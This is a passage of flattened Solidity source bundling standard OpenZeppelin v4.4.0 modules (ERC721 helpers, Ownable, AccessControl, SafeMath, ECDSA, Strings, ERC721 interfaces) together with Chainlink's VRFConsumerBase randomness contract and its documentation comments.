a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (access/AccessControl.sol) pragma solidity ^0.8.0; import "./IAccessControl.sol"; import "../utils/Context.sol"; import "../utils/Strings.sol"; import "../utils/introspection/ERC165.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been revoked `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } /** * @dev Grants `role` to `account`. * * Internal function without access restriction. */ function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } /** * @dev Revokes `role` from `account`. * * Internal function without access restriction. */ function _revokeRole(bytes32 role, address account) internal virtual { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/cryptography/ECDSA.sol) pragma solidity ^0.8.0; import "../Strings.sol"; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Message, created from `s`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./interfaces/LinkTokenInterface.sol"; import "./VRFRequestIDBase.sol"; /** **************************************************************************** * @notice Interface for contracts using VRF randomness * ***************************************************************************** * @dev PURPOSE * * @dev Reggie the Random Oracle (not his real job) wants to provide randomness * @dev to Vera the verifier in such a way that Vera can be sure he's not * @dev making his output up to suit himself. Reggie provides Vera a public key * @dev to which he knows the secret key. Each time Vera provides a seed to * @dev Reggie, he gives back a value which is computed completely * @dev deterministically from the seed and the secret key. * * @dev Reggie provides a proof by which Vera can verify that the output was * @dev correctly computed once Reggie tells it to her, but without that proof, * @dev the output is indistinguishable to her from a uniform random sample * @dev from the output space. * * @dev The purpose of this contract is to make it easy for unrelated contracts * @dev to talk to Vera the verifier about the work Reggie is doing, to provide * @dev simple access to a verifiable source of randomness. * ***************************************************************************** * @dev USAGE * * @dev Calling contracts must inherit from VRFConsumerBase, and can * @dev initialize VRFConsumerBase's attributes in their constructor as * @dev shown: * * @dev contract VRFConsumer { * @dev constuctor(<other arguments>, address _vrfCoordinator, address _link) * @dev VRFConsumerBase(_vrfCoordinator, _link) public { * @dev <initialization with other arguments goes here> * @dev } * @dev } * * @dev The oracle will have given you an ID for the VRF keypair they have * @dev committed to (let's call it keyHash), and have told you the minimum LINK * @dev price for VRF service. Make sure your contract has sufficient LINK, and * @dev call requestRandomness(keyHash, fee, seed), where seed is the input you * @dev want to generate randomness from. * * @dev Once the VRFCoordinator has received and validated the oracle's response * @dev to your request, it will call your contract's fulfillRandomness method. * * @dev The randomness argument to fulfillRandomness is the actual random value * @dev generated from your seed. * * @dev The requestId argument is generated from the keyHash and the seed by * @dev makeRequestId(keyHash, seed). If your contract could have concurrent * @dev requests open, you can use the requestId to track which seed is * @dev associated with which randomness. See VRFRequestIDBase.sol for more * @dev details. (See "SECURITY CONSIDERATIONS" for principles to keep in mind, * @dev if your contract could have multiple requests in flight simultaneously.) * * @dev Colliding `requestId`s are cryptographically impossible as long as seeds * @dev differ. (Which is critical to making unpredictable randomness! See the * @dev next section.) * * ***************************************************************************** * @dev SECURITY CONSIDERATIONS * * @dev A method with the ability to call your fulfillRandomness method directly * @dev could spoof a VRF response with any random value, so it's critical that * @dev it cannot be directly called by anything other than this base contract * @dev (specifically, by the VRFConsumerBase.rawFulfillRandomness method). * * @dev For your users to trust that your contract's random behavior is free * @dev from malicious interference, it's best if you can write it so that all * @dev behaviors implied by a VRF response are executed *during* your * @dev fulfillRandomness method. If your contract must store the response (or * @dev anything derived from it) and use it later, you must ensure that any * @dev user-significant behavior which depends on that stored value cannot be * @dev manipulated by a subsequent VRF request. * * @dev Similarly, both miners and the VRF oracle itself have some influence * @dev over the order in which VRF responses appear on the blockchain, so if * @dev your contract could have multiple VRF requests in flight simultaneously, * @dev you must ensure that the order in which the VRF responses arrive cannot * @dev be used to manipulate your contract's user-significant behavior. * * @dev Since the ultimate input to the VRF is mixed with the block hash of the * @dev block in which the request is made, user-provided seeds have no impact * @dev on its economic security properties. They are only included for API * @dev compatability with previous versions of this contract. * * @dev Since the block hash of the block which contains the requestRandomness * @dev call is mixed into the input to the VRF *last*, a sufficiently powerful * @dev miner could, in principle, fork the blockchain to evict the block * @dev containing the request, forcing the request to be included in a * @dev different block with a different hash, and therefore a different input * @dev to the VRF. However, such an attack would incur a substantial economic * @dev cost. This cost scales with the number of blocks the VRF oracle waits * @dev until it calls responds to a request. */ abstract contract VRFConsumerBase is VRFRequestIDBase { /** * @notice fulfillRandomness handles the VRF response. Your contract must * @notice implement it. See "SECURITY CONSIDERATIONS" above for important * @notice principles to keep in mind when implementing your fulfillRandomness * @notice method. * * @dev VRFConsumerBase expects its subcontracts to have a method with this * @dev signature, and will call it once it has verified the proof * @dev associated with the randomness. (It is triggered via a call to * @dev rawFulfillRandomness, below.) * * @param requestId The Id initially returned by requestRandomness * @param randomness the VRF output */ function fulfillRandomness( bytes32 requestId, uint256 randomness ) internal virtual; /** * @dev In order to keep backwards compatibility we have kept the user * seed field around. We remove the use of it because given that the blockhash * enters later, it overrides whatever randomness the used seed provides. * Given that it adds no security, and can easily lead to misunderstandings, * we have removed it from usage and can now provide a simpler API. */ uint256 constant private USER_SEED_PLACEHOLDER = 0; /** * @notice requestRandomness initiates a request for VRF output given _seed * * @dev The fulfillRandomness method receives the output, once it's provided * @dev by the Oracle, and verified by the vrfCoordinator. * * @dev The _keyHash must already be registered with the VRFCoordinator, and * @dev the _fee must exceed the fee specified during registration of the * @dev _keyHash. * * @dev The _seed parameter is vestigial, and is kept only for API * @dev compatibility with older versions. It can't *hurt* to mix in some of * @dev your own randomness, here, but it's not necessary because the VRF * @dev oracle will mix the hash of the block containing your request into the * @dev VRF seed it ultimately uses. * * @param _keyHash ID of public key against which randomness is generated * @param _fee The amount of LINK to send with the request * * @return requestId unique ID for this request * * @dev The returned requestId can be used to distinguish responses to * @dev concurrent requests. It is passed as the first argument to * @dev fulfillRandomness. */ function requestRandomness( bytes32 _keyHash, uint256 _fee ) internal returns ( bytes32 requestId ) { LINK.transferAndCall(vrfCoordinator, _fee, abi.encode(_keyHash, USER_SEED_PLACEHOLDER)); // This is the seed passed to VRFCoordinator. The oracle will mix this with // the hash of the block containing this request to obtain the seed/input // which is finally passed to the VRF cryptographic machinery. uint256 vRFSeed = makeVRFInputSeed(_keyHash, USER_SEED_PLACEHOLDER, address(this), nonces[_keyHash]); // nonces[_keyHash] must stay in sync with // VRFCoordinator.nonces[_keyHash][this], which was incremented by the above // successful LINK.transferAndCall (in VRFCoordinator.randomnessRequest). // This provides protection against the user repeating their input seed, // which would result in a predictable/duplicate output, if multiple such // requests appeared in the same block. nonces[_keyHash] = nonces[_keyHash] + 1; return makeRequestId(_keyHash, vRFSeed); } LinkTokenInterface immutable internal LINK; address immutable private vrfCoordinator; // Nonces for each VRF key from which randomness has been requested. // // Must stay in sync with VRFCoordinator[_keyHash][this] mapping(bytes32 /* keyHash */ => uint256 /* nonce */) private nonces; /** * @param _vrfCoordinator address of VRFCoordinator contract * @param _link address of LINK token contract * * @dev https://docs.chain.link/docs/link-token-contracts */ constructor( address _vrfCoordinator, address _link ) { vrfCoordinator = _vrfCoordinator; LINK = LinkTokenInterface(_link); } // rawFulfillRandomness is called by VRFCoordinator when it receives a valid VRF // proof. rawFulfillRandomness then calls fulfillRandomness, after validating // the origin of the call function rawFulfillRandomness( bytes32 requestId, uint256 randomness ) external { require(msg.sender == vrfCoordinator, "Only VRFCoordinator can fulfill"); fulfillRandomness(requestId, randomness); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts 